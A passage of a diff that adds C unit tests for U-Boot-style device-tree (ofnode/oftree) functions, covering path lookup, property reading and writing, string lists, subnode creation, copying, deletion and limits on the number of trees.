+ ofnode node = oftree_path(otree, "/target");
+ fdt_addr_t addr;
+
+ addr = ofnode_get_addr(node);
+ ut_asserteq(0x8000, addr);
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_get_reg_ot, UT_TESTF_SCAN_FDT | UT_TESTF_OTHER_FDT);
+
+static int dm_test_ofnode_get_path(struct unit_test_state *uts)
+{
+ const char *path = "/translation-test@8000/noxlatebus@3,300/dev@42";
+ char buf[64];
+ ofnode node;
+
+ node = ofnode_path(path);
+ ut_assert(ofnode_valid(node));
+
+ ut_assertok(ofnode_get_path(node, buf, sizeof(buf)));
+ ut_asserteq_str(path, buf);
+
+ ut_asserteq(-ENOSPC, ofnode_get_path(node, buf, 32));
+
+ ut_assertok(ofnode_get_path(ofnode_root(), buf, 32));
+ ut_asserteq_str("/", buf);
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_get_path, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* test ofnode_get_path() with 'other' tree */
+static int dm_test_ofnode_get_path_ot(struct unit_test_state *uts)
+{
+ oftree otree = get_other_oftree(uts);
+ const char *path = "/node/subnode";
+ ofnode node = oftree_path(otree, path);
+ char buf[64];
+
+ ut_assert(ofnode_valid(node));
+
+ ut_assertok(ofnode_get_path(node, buf, sizeof(buf)));
+ ut_asserteq_str(path, buf);
+
+ ut_assertok(ofnode_get_path(oftree_root(otree), buf, 32));
+ ut_asserteq_str("/", buf);
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_get_path_ot, UT_TESTF_SCAN_FDT | UT_TESTF_OTHER_FDT);
+
+/* test ofnode_conf_read_bool/int/str() */
+static int dm_test_ofnode_conf(struct unit_test_state *uts)
+{
+ ut_assert(!ofnode_conf_read_bool("missing"));
+ ut_assert(ofnode_conf_read_bool("testing-bool"));
+
+ ut_asserteq(123, ofnode_conf_read_int("testing-int", 0));
+ ut_asserteq(6, ofnode_conf_read_int("missing", 6));
+
+ ut_assertnull(ofnode_conf_read_str("missing"));
+ ut_asserteq_str("testing", ofnode_conf_read_str("testing-str"));
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_conf, UT_TESTF_SCAN_FDT);
+
+static int dm_test_ofnode_options(struct unit_test_state *uts)
+{
+ u64 bootscr_address, bootscr_offset;
+ u64 bootscr_flash_offset, bootscr_flash_size;
+
+ ut_assertok(ofnode_read_bootscript_address(&bootscr_address,
+ &bootscr_offset));
+ ut_asserteq_64(0, bootscr_address);
+ ut_asserteq_64(0x12345678, bootscr_offset);
+
+ ut_assertok(ofnode_read_bootscript_flash(&bootscr_flash_offset,
+ &bootscr_flash_size));
+ ut_asserteq_64(0, bootscr_flash_offset);
+ ut_asserteq_64(0x2000, bootscr_flash_size);
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_options, 0);
+
+static int dm_test_ofnode_for_each_compatible_node(struct unit_test_state *uts)
+{
+ const char compatible[] = "denx,u-boot-fdt-test";
+ bool found = false;
+ ofnode node;
+
+ ofnode_for_each_compatible_node(node, compatible) {
+ ut_assert(ofnode_device_is_compatible(node, compatible));
+ found = true;
+ }
+
+ /* There should be at least one matching node */
+ ut_assert(found);
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_for_each_compatible_node, UT_TESTF_SCAN_FDT);
+
+/* test dm_test_ofnode_string_count/index/list() */
+static int dm_test_ofnode_string(struct unit_test_state *uts)
+{
+ const char **val;
+ const char *out;
+ ofnode node;
+
+ node = ofnode_path("/a-test");
+ ut_assert(ofnode_valid(node));
+
+ /* single string */
+ ut_asserteq(1, ofnode_read_string_count(node, "str-value"));
+ ut_assertok(ofnode_read_string_index(node, "str-value", 0, &out));
+ ut_asserteq_str("test string", out);
+ ut_asserteq(0, ofnode_stringlist_search(node, "str-value",
+ "test string"));
+ ut_asserteq(1, ofnode_read_string_list(node, "str-value", &val));
+ ut_asserteq_str("test string", val[0]);
+ ut_assertnull(val[1]);
+ free(val);
+
+ /* list of strings */
+ ut_asserteq(5, ofnode_read_string_count(node, "mux-control-names"));
+ ut_assertok(ofnode_read_string_index(node, "mux-control-names", 0,
+ &out));
+ ut_asserteq_str("mux0", out);
+ ut_asserteq(0, ofnode_stringlist_search(node, "mux-control-names",
+ "mux0"));
+ ut_asserteq(5, ofnode_read_string_list(node, "mux-control-names",
+ &val));
+ ut_asserteq_str("mux0", val[0]);
+ ut_asserteq_str("mux1", val[1]);
+ ut_asserteq_str("mux2", val[2]);
+ ut_asserteq_str("mux3", val[3]);
+ ut_asserteq_str("mux4", val[4]);
+ ut_assertnull(val[5]);
+ free(val);
+
+ ut_assertok(ofnode_read_string_index(node, "mux-control-names", 4,
+ &out));
+ ut_asserteq_str("mux4", out);
+ ut_asserteq(4, ofnode_stringlist_search(node, "mux-control-names",
+ "mux4"));
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_string, UT_TESTF_SCAN_FDT);
+
+/* test error returns from ofnode_read_string_count/index/list() */
+static int dm_test_ofnode_string_err(struct unit_test_state *uts)
+{
+ const char **val;
+ const char *out;
+ ofnode node;
+
+ /*
+ * Test error codes only on livetree, as they are different with
+ * flattree
+ */
+ node = ofnode_path("/a-test");
+ ut_assert(ofnode_valid(node));
+
+ /* non-existent property */
+ ut_asserteq(-EINVAL, ofnode_read_string_count(node, "missing"));
+ ut_asserteq(-EINVAL, ofnode_read_string_index(node, "missing", 0,
+ &out));
+ ut_asserteq(-EINVAL, ofnode_read_string_list(node, "missing", &val));
+
+ /* empty property */
+ ut_asserteq(-ENODATA, ofnode_read_string_count(node, "bool-value"));
+ ut_asserteq(-ENODATA, ofnode_read_string_index(node, "bool-value", 0,
+ &out));
+ ut_asserteq(-ENODATA, ofnode_read_string_list(node, "bool-value",
+ &val));
+
+ /* badly formatted string list */
+ ut_asserteq(-EILSEQ, ofnode_read_string_count(node, "int64-value"));
+ ut_asserteq(-EILSEQ, ofnode_read_string_index(node, "int64-value", 0,
+ &out));
+ ut_asserteq(-EILSEQ, ofnode_read_string_list(node, "int64-value",
+ &val));
+
+ /* out of range / not found */
+ ut_asserteq(-ENODATA, ofnode_read_string_index(node, "str-value", 1,
+ &out));
+ ut_asserteq(-ENODATA, ofnode_stringlist_search(node, "str-value",
+ "other"));
+
+ /* negative value for index is not allowed, so don't test for that */
+
+ ut_asserteq(-ENODATA, ofnode_read_string_index(node,
+ "mux-control-names", 5,
+ &out));
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_string_err, UT_TESTF_LIVE_TREE);
+
+static int dm_test_ofnode_read_phy_mode(struct unit_test_state *uts)
+{
+ ofnode eth_node, phy_node;
+ phy_interface_t mode;
+ u32 reg;
+
+ eth_node = ofnode_path("/phy-test-eth");
+ ut_assert(ofnode_valid(eth_node));
+
+ mode = ofnode_read_phy_mode(eth_node);
+ ut_assert(mode == PHY_INTERFACE_MODE_2500BASEX);
+
+ phy_node = ofnode_get_phy_node(eth_node);
+ ut_assert(ofnode_valid(phy_node));
+
+ reg = ofnode_read_u32_default(phy_node, "reg", -1U);
+ ut_asserteq_64(0x1, reg);
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_read_phy_mode, UT_TESTF_SCAN_FDT);
+
+/**
+ * make_ofnode_fdt() - Create an FDT for testing with ofnode
+ *
+ * The size is set to the minimum needed
+ *
+ * @uts: Test state
+ * @fdt: Place to write FDT
+ * @size: Maximum size of space for fdt
+ * @id: id value to add to the tree ('id' property in root node)
+ */
+static int make_ofnode_fdt(struct unit_test_state *uts, void *fdt, int size,
+ int id)
+{
+ ut_assertok(fdt_create(fdt, size));
+ ut_assertok(fdt_finish_reservemap(fdt));
+ ut_assert(fdt_begin_node(fdt, "") >= 0);
+
+ ut_assertok(fdt_property_u32(fdt, "id", id));
+
+ ut_assert(fdt_begin_node(fdt, "aliases") >= 0);
+ ut_assertok(fdt_property_string(fdt, "mmc0", "/new-mmc"));
+ ut_assertok(fdt_end_node(fdt));
+
+ ut_assert(fdt_begin_node(fdt, "new-mmc") >= 0);
+ ut_assertok(fdt_end_node(fdt));
+
+ ut_assertok(fdt_end_node(fdt));
+ ut_assertok(fdt_finish(fdt));
+
+ return 0;
+}
+
+/* Check that aliases work on the control FDT */
+static int dm_test_ofnode_aliases(struct unit_test_state *uts)
+{
+ ofnode node;
+
+ node = ofnode_get_aliases_node("ethernet3");
+ ut_assert(ofnode_valid(node));
+ ut_asserteq_str("sbe5", ofnode_get_name(node));
+
+ ut_assert(!oftree_valid(oftree_null()));
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_aliases, UT_TESTF_SCAN_FDT);
+
+/**
+ * dm_test_ofnode_root_mult() - Check aliaes on control and 'other' tree
+ *
+ * Check that aliases work only with the control FDT, not with 'other' tree.
+ * This is not actually the desired behaviour. If aliases are implemented for
+ * any tree, then this test should be changed.
+ */
+static int dm_test_ofnode_root_mult(struct unit_test_state *uts)
+{
+ char fdt[256];
+ oftree tree;
+ ofnode node;
+
+ /* skip this test if multiple FDTs are not supported */
+ if (!IS_ENABLED(CONFIG_OFNODE_MULTI_TREE))
+ return -EAGAIN;
+
+ ut_assertok(make_ofnode_fdt(uts, fdt, sizeof(fdt), 0));
+ ut_assertok(get_oftree(uts, fdt, &tree));
+ ut_assert(oftree_valid(tree));
+
+ /* Make sure they don't work on this new tree */
+ node = oftree_path(tree, "mmc0");
+ ut_assert(!ofnode_valid(node));
+
+ /* It should appear in the new tree */
+ node = oftree_path(tree, "/new-mmc");
+ ut_assert(ofnode_valid(node));
+
+ /* ...and not in the control FDT */
+ node = oftree_path(oftree_default(), "/new-mmc");
+ ut_assert(!ofnode_valid(node));
+
+ free_oftree(tree);
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_root_mult, UT_TESTF_SCAN_FDT);
+
+/* test ofnode_set_enabled(), ofnode_write_prop() on a livetree */
+static int dm_test_ofnode_livetree_writing(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ ofnode node;
+
+ /* Test enabling devices */
+ node = ofnode_path("/usb@2");
+
+ ut_assert(!ofnode_is_enabled(node));
+ ut_assertok(ofnode_set_enabled(node, true));
+ ut_asserteq(true, ofnode_is_enabled(node));
+
+ device_bind_driver_to_node(dm_root(), "usb_sandbox", "usb@2", node,
+ &dev);
+ ut_assertok(uclass_find_device_by_seq(UCLASS_USB, 2, &dev));
+
+ /* Test string property setting */
+ ut_assert(device_is_compatible(dev, "sandbox,usb"));
+ ofnode_write_string(node, "compatible", "gdsys,super-usb");
+ ut_assert(device_is_compatible(dev, "gdsys,super-usb"));
+ ofnode_write_string(node, "compatible", "sandbox,usb");
+ ut_assert(device_is_compatible(dev, "sandbox,usb"));
+
+ /* Test setting generic properties */
+
+ /* Non-existent in DTB */
+ ut_asserteq_64(FDT_ADDR_T_NONE, dev_read_addr(dev));
+ /* reg = 0x42, size = 0x100 */
+ ut_assertok(ofnode_write_prop(node, "reg",
+ "\x00\x00\x00\x42\x00\x00\x01\x00", 8,
+ false));
+ ut_asserteq(0x42, dev_read_addr(dev));
+
+ /* Test disabling devices */
+ device_remove(dev, DM_REMOVE_NORMAL);
+ device_unbind(dev);
+
+ ut_assert(ofnode_is_enabled(node));
+ ut_assertok(ofnode_set_enabled(node, false));
+ ut_assert(!ofnode_is_enabled(node));
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_livetree_writing,
+ UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int check_write_prop(struct unit_test_state *uts, ofnode node)
+{
+ char prop[] = "middle-name";
+ char name[10];
+ int len;
+
+ strcpy(name, "cecil");
+ len = strlen(name) + 1;
+ ut_assertok(ofnode_write_prop(node, prop, name, len, false));
+ ut_asserteq_str(name, ofnode_read_string(node, prop));
+
+ /* change the underlying value, this should mess up the live tree */
+ strcpy(name, "tony");
+ if (of_live_active()) {
+ ut_asserteq_str(name, ofnode_read_string(node, prop));
+ } else {
+ ut_asserteq_str("cecil", ofnode_read_string(node, prop));
+ }
+
+ /* try again, this time copying the property */
+ strcpy(name, "mary");
+ ut_assertok(ofnode_write_prop(node, prop, name, len, true));
+ ut_asserteq_str(name, ofnode_read_string(node, prop));
+ strcpy(name, "leah");
+
+ /* both flattree and livetree behave the same */
+ ut_asserteq_str("mary", ofnode_read_string(node, prop));
+
+ return 0;
+}
+
+/* writing the tree with and without copying the property */
+static int dm_test_ofnode_write_copy(struct unit_test_state *uts)
+{
+ ofnode node;
+
+ node = ofnode_path("/a-test");
+ ut_assertok(check_write_prop(uts, node));
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_write_copy, UT_TESTF_SCAN_FDT);
+
+/* test writing a property to the 'other' tree */
+static int dm_test_ofnode_write_copy_ot(struct unit_test_state *uts)
+{
+ oftree otree = get_other_oftree(uts);
+ ofnode node, check_node;
+
+ node = oftree_path(otree, "/node");
+ ut_assertok(check_write_prop(uts, node));
+
+ /* make sure the control FDT is not touched */
+ check_node = ofnode_path("/node");
+ ut_assertnull(ofnode_read_string(check_node, "middle-name"));
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_write_copy_ot, UT_TESTF_SCAN_FDT | UT_TESTF_OTHER_FDT);
+
+/* test ofnode_read_u32_index/default() */
+static int dm_test_ofnode_u32(struct unit_test_state *uts)
+{
+ ofnode node;
+ u32 val;
+
+ node = ofnode_path("/lcd");
+ ut_assert(ofnode_valid(node));
+ ut_asserteq(1366, ofnode_read_u32_default(node, "xres", 123));
+ ut_assertok(ofnode_write_u32(node, "xres", 1367));
+ ut_asserteq(1367, ofnode_read_u32_default(node, "xres", 123));
+ ut_assertok(ofnode_write_u32(node, "xres", 1366));
+
+ node = ofnode_path("/backlight");
+ ut_assertok(ofnode_read_u32_index(node, "brightness-levels", 0, &val));
+ ut_asserteq(0, val);
+ ut_assertok(ofnode_read_u32_index(node, "brightness-levels", 1, &val));
+ ut_asserteq(16, val);
+ ut_assertok(ofnode_read_u32_index(node, "brightness-levels", 8, &val));
+ ut_asserteq(255, val);
+ ut_asserteq(-EOVERFLOW,
+ ofnode_read_u32_index(node, "brightness-levels", 9, &val));
+ ut_asserteq(-EINVAL, ofnode_read_u32_index(node, "missing", 0, &val));
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_u32, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* test ofnode_read_u32_array() */
+static int dm_test_ofnode_u32_array(struct unit_test_state *uts)
+{
+ ofnode node;
+ u32 val[10];
+
+ node = ofnode_path("/a-test");
+ ut_assert(ofnode_valid(node));
+ ut_assertok(ofnode_read_u32_array(node, "int-value", val, 1));
+ ut_asserteq(-EINVAL, ofnode_read_u32_array(node, "missing", val, 1));
+ ut_asserteq(-EOVERFLOW, ofnode_read_u32_array(node, "bool-value", val,
+ 1));
+
+ memset(val, '\0', sizeof(val));
+ ut_assertok(ofnode_read_u32_array(node, "int-array", val + 1, 3));
+ ut_asserteq(0, val[0]);
+ ut_asserteq(5678, val[1]);
+ ut_asserteq(9123, val[2]);
+ ut_asserteq(4567, val[3]);
+ ut_asserteq(0, val[4]);
+ ut_asserteq(-EOVERFLOW, ofnode_read_u32_array(node, "int-array", val,
+ 4));
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_u32_array, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* test ofnode_read_u64() and ofnode_write_u64() */
+static int dm_test_ofnode_u64(struct unit_test_state *uts)
+{
+ ofnode node;
+ u64 val;
+
+ node = ofnode_path("/a-test");
+ ut_assert(ofnode_valid(node));
+ ut_assertok(ofnode_read_u64(node, "int64-value", &val));
+ ut_asserteq_64(0x1111222233334444, val);
+ ut_assertok(ofnode_write_u64(node, "new-int64-value", 0x9876543210));
+ ut_assertok(ofnode_read_u64(node, "new-int64-value", &val));
+ ut_asserteq_64(0x9876543210, val);
+
+ ut_asserteq(-EINVAL, ofnode_read_u64(node, "missing", &val));
+
+ ut_assertok(ofnode_read_u64_index(node, "int64-array", 0, &val));
+ ut_asserteq_64(0x1111222233334444, val);
+ ut_assertok(ofnode_read_u64_index(node, "int64-array", 1, &val));
+ ut_asserteq_64(0x4444333322221111, val);
+ ut_asserteq(-EOVERFLOW,
+ ofnode_read_u64_index(node, "int64-array", 2, &val));
+ ut_asserteq(-EINVAL, ofnode_read_u64_index(node, "missing", 0, &val));
+
+ ut_assertok(ofnode_write_u64(node, "int64-array", 0x9876543210));
+ ut_assertok(ofnode_read_u64_index(node, "int64-array", 0, &val));
+ ut_asserteq_64(0x9876543210, val);
+ ut_asserteq(-EOVERFLOW,
+ ofnode_read_u64_index(node, "int64-array", 1, &val));
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_u64, UT_TESTF_SCAN_FDT);
+
+static int dm_test_ofnode_add_subnode(struct unit_test_state *uts)
+{
+ ofnode node, check, subnode;
+ char buf[128];
+
+ node = ofnode_path("/lcd");
+ ut_assert(ofnode_valid(node));
+ ut_assertok(ofnode_add_subnode(node, "edmund", &subnode));
+ check = ofnode_path("/lcd/edmund");
+ ut_asserteq(subnode.of_offset, check.of_offset);
+ ut_assertok(ofnode_get_path(subnode, buf, sizeof(buf)));
+ ut_asserteq_str("/lcd/edmund", buf);
+
+ if (of_live_active()) {
+ struct device_node *child;
+
+ ut_assertok(of_add_subnode((void *)ofnode_to_np(node), "edmund",
+ 2, &child));
+ ut_asserteq_str("ed", child->name);
+ ut_asserteq_str("/lcd/ed", child->full_name);
+ check = ofnode_path("/lcd/ed");
+ ut_asserteq_ptr(child, check.np);
+ ut_assertok(ofnode_get_path(np_to_ofnode(child), buf,
+ sizeof(buf)));
+ ut_asserteq_str("/lcd/ed", buf);
+ }
+
+ /* An existing node should be returned with -EEXIST */
+ ut_asserteq(-EEXIST, ofnode_add_subnode(node, "edmund", &check));
+ ut_asserteq(subnode.of_offset, check.of_offset);
+
+ /* add a root node */
+ node = ofnode_path("/");
+ ut_assert(ofnode_valid(node));
+ ut_assertok(ofnode_add_subnode(node, "lcd2", &subnode));
+ check = ofnode_path("/lcd2");
+ ut_asserteq(subnode.of_offset, check.of_offset);
+ ut_assertok(ofnode_get_path(subnode, buf, sizeof(buf)));
+ ut_asserteq_str("/lcd2", buf);
+
+ if (of_live_active()) {
+ ulong start;
+ int i;
+
+ /*
+ * Make sure each of the three malloc()checks in
+ * of_add_subnode() work
+ */
+ for (i = 0; i < 3; i++) {
+ malloc_enable_testing(i);
+ start = ut_check_free();
+ ut_asserteq(-ENOMEM, ofnode_add_subnode(node, "anthony",
+ &check));
+ ut_assertok(ut_check_delta(start));
+ }
+
+ /* This should pass since we allow 3 allocations */
+ malloc_enable_testing(3);
+ ut_assertok(ofnode_add_subnode(node, "anthony", &check));
+ malloc_disable_testing();
+ }
+
+ /* write to the empty node */
+ ut_assertok(ofnode_write_string(subnode, "example", "text"));
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_add_subnode, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_ofnode_for_each_prop(struct unit_test_state *uts)
+{
+ ofnode node, subnode;
+ struct ofprop prop;
+ int count;
+
+ node = ofnode_path("/ofnode-foreach");
+ count = 0;
+
+ /* we expect "compatible" for each node */
+ ofnode_for_each_prop(prop, node)
+ count++;
+ ut_asserteq(1, count);
+
+ /* there are two nodes, each with 2 properties */
+ ofnode_for_each_subnode(subnode, node)
+ ofnode_for_each_prop(prop, subnode)
+ count++;
+ ut_asserteq(5, count);
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_for_each_prop, UT_TESTF_SCAN_FDT);
+
+static int dm_test_ofnode_by_compatible(struct unit_test_state *uts)
+{
+ const char *compat = "denx,u-boot-fdt-test";
+ ofnode node;
+ int count;
+
+ count = 0;
+ for (node = ofnode_null();
+ node = ofnode_by_compatible(node, compat), ofnode_valid(node);)
+ count++;
+ ut_asserteq(11, count);
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_by_compatible, UT_TESTF_SCAN_FDT);
+
+/* check ofnode_by_compatible() on the 'other' tree */
+static int dm_test_ofnode_by_compatible_ot(struct unit_test_state *uts)
+{
+ const char *compat = "sandbox-other2";
+ oftree otree = get_other_oftree(uts);
+ ofnode node;
+ int count;
+
+ count = 0;
+ for (node = oftree_root(otree);
+ node = ofnode_by_compatible(node, compat), ofnode_valid(node);)
+ count++;
+ ut_asserteq(2, count);
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_by_compatible_ot, UT_TESTF_SCAN_FDT | UT_TESTF_OTHER_FDT);
+
+static int dm_test_ofnode_find_subnode(struct unit_test_state *uts)
+{
+ ofnode node, subnode;
+
+ node = ofnode_path("/buttons");
+
+ subnode = ofnode_find_subnode(node, "btn1");
+ ut_assert(ofnode_valid(subnode));
+ ut_asserteq_str("btn1", ofnode_get_name(subnode));
+
+ subnode = ofnode_find_subnode(node, "btn");
+ ut_assert(!ofnode_valid(subnode));
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_find_subnode, UT_TESTF_SCAN_FDT);
+
+/* test ofnode_find_subnode() on the 'other' tree */
+static int dm_test_ofnode_find_subnode_ot(struct unit_test_state *uts)
+{
+ oftree otree = get_other_oftree(uts);
+ ofnode node, subnode;
+
+ node = oftree_path(otree, "/node");
+
+ subnode = ofnode_find_subnode(node, "subnode");
+ ut_assert(ofnode_valid(subnode));
+ ut_asserteq_str("subnode", ofnode_get_name(subnode));
+
+ subnode = ofnode_find_subnode(node, "btn");
+ ut_assert(!ofnode_valid(subnode));
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_find_subnode_ot, UT_TESTF_OTHER_FDT);
+
+static int dm_test_ofnode_get_name(struct unit_test_state *uts)
+{
+ ofnode node;
+
+ node = ofnode_path("/buttons");
+ ut_assert(ofnode_valid(node));
+ ut_asserteq_str("buttons", ofnode_get_name(node));
+ ut_asserteq_str("", ofnode_get_name(ofnode_root()));
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_get_name, UT_TESTF_SCAN_FDT);
+
+/* try to access more FDTs than is supported */
+static int dm_test_ofnode_too_many(struct unit_test_state *uts)
+{
+ const int max_trees = CONFIG_IS_ENABLED(OFNODE_MULTI_TREE,
+ (CONFIG_OFNODE_MULTI_TREE_MAX), (1));
+ const int fdt_size = 256;
+ const int num_trees = max_trees + 1;
+ char fdt[num_trees][fdt_size];
+ int i;
+
+ for (i = 0; i < num_trees; i++) {
+ oftree tree;
+ int ret;
+
+ ut_assertok(make_ofnode_fdt(uts, fdt[i], fdt_size, i));
+ ret = get_oftree(uts, fdt[i], &tree);
+
+ /*
+ * With flat tree we have the control FDT using one slot. Live
+ * tree has no limit since it uses pointers, not integer tree
+ * IDs
+ */
+ if (of_live_active() || i < max_trees - 1) {
+ ut_assertok(ret);
+ } else {
+ /*
+ * tree should be invalid when we try to register too
+ * many trees
+ */
+ ut_asserteq(-EOVERFLOW, ret);
+ }
+ }
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_too_many, UT_TESTF_SCAN_FDT);
+
+static int check_copy_props(struct unit_test_state *uts, ofnode dst, ofnode src)
+{
+ u32 reg[2], val;
+
+ ut_assertok(ofnode_copy_props(dst, src));
+
+ ut_assertok(ofnode_read_u32(dst, "ping-expect", &val));
+ ut_asserteq(3, val);
+
+ ut_asserteq_str("denx,u-boot-fdt-test",
+ ofnode_read_string(dst, "compatible"));
+
+ /* check that a property with the same name is overwritten */
+ ut_assertok(ofnode_read_u32_array(dst, "reg", reg, ARRAY_SIZE(reg)));
+ ut_asserteq(3, reg[0]);
+ ut_asserteq(1, reg[1]);
+
+ /* reset the compatible so the live tree does not change */
+ ut_assertok(ofnode_write_string(dst, "compatible", "nothing"));
+
+ return 0;
+}
+
+static int dm_test_ofnode_copy_props(struct unit_test_state *uts)
+{
+ ofnode src, dst;
+
+ /*
+ * These nodes are chosen so that the src node is before the destination
+ * node in the tree. This doesn't matter with livetree, but with
+ * flattree any attempt to insert a property earlier in the tree will
+ * mess up the offsets after it.
+ */
+ src = ofnode_path("/b-test");
+ dst = ofnode_path("/some-bus");
+
+ ut_assertok(check_copy_props(uts, dst, src));
+
+ /* check a property that is in the destination already */
+ ut_asserteq_str("mux0", ofnode_read_string(dst, "mux-control-names"));
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_copy_props, UT_TESTF_SCAN_FDT);
+
+/* test ofnode_copy_props() with the 'other' tree */
+static int dm_test_ofnode_copy_props_ot(struct unit_test_state *uts)
+{
+ ofnode src, dst;
+ oftree otree = get_other_oftree(uts);
+
+ src = ofnode_path("/b-test");
+ dst = oftree_path(otree, "/node/subnode2");
+ ut_assertok(check_copy_props(uts, dst, src));
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_copy_props_ot, UT_TESTF_SCAN_FDT | UT_TESTF_OTHER_FDT);
+
+/* check that the livetree is aligned to a structure boundary */
+static int dm_test_livetree_align(struct unit_test_state *uts)
+{
+ const int align = __alignof__(struct unit_test_state);
+ struct device_node *node;
+ u32 *sentinel;
+ ulong start;
+
+ start = (ulong)gd_of_root();
+ ut_asserteq(start, ALIGN(start, align));
+
+ node = gd_of_root();
+ sentinel = (void *)node - sizeof(u32);
+
+ /*
+ * The sentinel should be overwritten with the root node. If it isn't,
+ * then the root node is not at the very start of the livetree memory
+ * area, and free(root) will fail to free the memory used by the
+ * livetree.
+ */
+ ut_assert(*sentinel != BAD_OF_ROOT);
+
+ return 0;
+}
+DM_TEST(dm_test_livetree_align, UT_TESTF_SCAN_FDT | UT_TESTF_LIVE_TREE);
+
+/* check that it is possible to load an arbitrary livetree */
+static int dm_test_livetree_ensure(struct unit_test_state *uts)
+{
+ oftree tree;
+ ofnode node;
+
+ /* read from other.dtb */
+ ut_assertok(test_load_other_fdt(uts));
+ tree = oftree_from_fdt(uts->other_fdt);
+ ut_assert(oftree_valid(tree));
+ node = oftree_path(tree, "/node/subnode");
+ ut_assert(ofnode_valid(node));
+ ut_asserteq_str("sandbox-other2",
+ ofnode_read_string(node, "compatible"));
+
+ return 0;
+}
+DM_TEST(dm_test_livetree_ensure, UT_TESTF_SCAN_FDT);
+
+static int dm_test_oftree_new(struct unit_test_state *uts)
+{
+ ofnode node, subnode, check;
+ oftree tree;
+
+ ut_assertok(oftree_new(&tree));
+ node = oftree_root(tree);
+ ut_assert(ofnode_valid(node));
+ ut_assertok(ofnode_add_subnode(node, "edmund", &subnode));
+ check = ofnode_find_subnode(node, "edmund");
+ ut_asserteq(check.of_offset, subnode.of_offset);
+
+ return 0;
+}
+DM_TEST(dm_test_oftree_new, UT_TESTF_SCAN_FDT);
+
+static int check_copy_node(struct unit_test_state *uts, ofnode dst, ofnode src,
+ ofnode *nodep)
+{
+ u32 reg[2], val;
+ ofnode node;
+
+ ut_assertok(ofnode_copy_node(dst, "copy-test", src, &node));
+
+ ut_assertok(ofnode_read_u32(node, "ping-expect", &val));
+ ut_asserteq(3, val);
+
+ ut_asserteq_str("denx,u-boot-fdt-test",
+ ofnode_read_string(node, "compatible"));
+
+ /* check that a property with the same name is overwritten */
+ ut_assertok(ofnode_read_u32_array(node, "reg", reg, ARRAY_SIZE(reg)));
+ ut_asserteq(3, reg[0]);
+ ut_asserteq(1, reg[1]);
+
+ /* reset the compatible so the live tree does not change */
+ ut_assertok(ofnode_write_string(node, "compatible", "nothing"));
+ *nodep = node;
+
+ return 0;
+}
+
+static int dm_test_ofnode_copy_node(struct unit_test_state *uts)
+{
+ ofnode src, dst, node, try;
+
+ /*
+ * These nodes are chosen so that the src node is before the destination
+ * node in the tree. This doesn't matter with livetree, but with
+ * flattree any attempt to insert a property earlier in the tree will
+ * mess up the offsets after it.
+ */
+ src = ofnode_path("/b-test");
+ dst = ofnode_path("/some-bus");
+
+ ut_assertok(check_copy_node(uts, dst, src, &node));
+
+ /* check trying to copy over an existing node */
+ ut_asserteq(-EEXIST, ofnode_copy_node(dst, "copy-test", src, &try));
+ ut_asserteq(try.of_offset, node.of_offset);
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_copy_node, UT_TESTF_SCAN_FDT);
+
+/* test ofnode_copy_node() with the 'other' tree */
+static int dm_test_ofnode_copy_node_ot(struct unit_test_state *uts)
+{
+ oftree otree = get_other_oftree(uts);
+ ofnode src, dst, node;
+
+ src = ofnode_path("/b-test");
+ dst = oftree_path(otree, "/node/subnode2");
+ ut_assertok(check_copy_node(uts, dst, src, &node));
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_copy_node_ot, UT_TESTF_SCAN_FDT | UT_TESTF_OTHER_FDT);
+
+static int dm_test_ofnode_delete(struct unit_test_state *uts)
+{
+ ofnode node;
+
+ /*
+ * At present the livetree is not restored after changes made in tests.
+ * See test_pre_run() for how this is done with the other FDT and
+ * dm_test_pre_run() where it sets up the root-tree pointer. So use
+ * nodes which don't matter to other tests.
+ *
+ * We could fix this by detecting livetree changes and regenerating it
+ * before the next test if needed.
+ */
+ node = ofnode_path("/leds/iracibble");
+ ut_assert(ofnode_valid(node));
+ ut_assertok(ofnode_delete(&node));
+ ut_assert(!ofnode_valid(node));
+ ut_assert(!ofnode_valid(ofnode_path("/leds/iracibble")));
+
+ node = ofnode_path("/leds/default_on");
+ ut_assert(ofnode_valid(node));
+ ut_assertok(ofnode_delete(&node));
+ ut_assert(!ofnode_valid(node));
+ ut_assert(!ofnode_valid(ofnode_path("/leds/default_on")));
+
+ ut_asserteq(2, ofnode_get_child_count(ofnode_path("/leds")));
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_delete, UT_TESTF_SCAN_FDT);
+
+static int dm_test_oftree_to_fdt(struct unit_test_state *uts)
+{
+ oftree tree, check;
+ struct abuf buf, buf2;
+
+ tree = oftree_default();
+ ut_assertok(oftree_to_fdt(tree, &buf));
